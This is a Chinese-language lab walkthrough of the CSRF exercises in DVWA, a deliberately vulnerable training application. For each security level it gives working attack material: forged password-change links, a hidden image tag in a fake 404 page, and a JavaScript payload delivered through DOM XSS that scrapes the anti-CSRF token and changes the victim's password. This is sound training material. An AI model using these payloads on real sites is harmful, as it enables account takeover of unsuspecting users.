Vulnerability: Cross Site Request Forgery (CSRF)

  • csrf全称为:Cross-site request forgery,是一种常见的web攻击。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。

low

  • 这里的密码检测是直接将输入的进行拼接,检验password_new与password_conf是否一致。于是可以先伪造一个简陋的链接
1
http://192.168.169.233/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
  • 这样我们就成功地将密码更改为password了

  • 上面的链接注意改成自己的ip 和 路径

Medium

  1. 写一个html
1
2
3
<img src="192.168.169.233/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
  1. 写好后将其命名为ip地址.html格式,如:192.168.169.233.html 然后将其放在网页根目录WWW的DVWA文件中

image-20220930085909922

  1. 然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为 http://攻击者服务器地址/dvwa/被攻击ip地址.html 格式,如图:
1
http://169.254.95.212/dvwa/192.168.169.233.html

image-20220930095607214

High

  • 可以看到,High Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

  • 要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

    试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

  • xss.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
alert(document.cookie);
var theUrl = 'http://192.168.169.233/dvwa/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http:/192.168.169.233/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}


}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
  • 放置于攻击者的网站上:http://192.168.169.233/dvwa/192.168.169.233.js

  • DOM XSS 与 CSRF 结合:

    CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

    1
    http://192.168.169.233/dvwa/vulnerabilities/xss_d/?default=English #<script src="http://192.168.169.233/dvwa/192.168.169.233.js"></script>

    诱导点击后,成功将密码修改为test

Impossible

  • 加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码